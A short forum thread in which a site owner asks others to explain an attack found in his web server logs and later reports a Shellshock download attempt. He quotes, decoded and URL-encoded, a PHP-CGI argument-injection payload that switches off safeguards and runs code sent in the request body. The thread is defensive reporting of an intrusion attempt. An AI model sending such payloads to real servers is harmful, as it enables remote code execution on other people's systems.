Looking for someone with PHP and webservers knowledge

[Daviid]

Not programming but maybe here it'll reach people that know about this.

I have a question.
Someone's been scaning a webpage for "/cgi-bin/php" "/cgi-bin/php5" and similars and when he finds one that works he sends a POST request with:

-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

So the log shows this:

"POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63 %6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F %64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E %73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64 %69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3 D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%7 2%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%7 0%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69% 6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F% 72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E% 72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65 %6E%76%3D%30+%2D%6E [Only registered and activated users can see links]" 200 117 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"

What the fuck is he trying to do?

Beat me to it.

A quick Google search of what the IP is requesting and sending will give you this answer.

This might help you ([Only registered and activated users can see links]) stop the attack and patch your server if it is using Linux. Daviid

Edit: now they're trying to download a perl script with shellshock modifying the user agent -.-...
Of course everything is up to date now :D
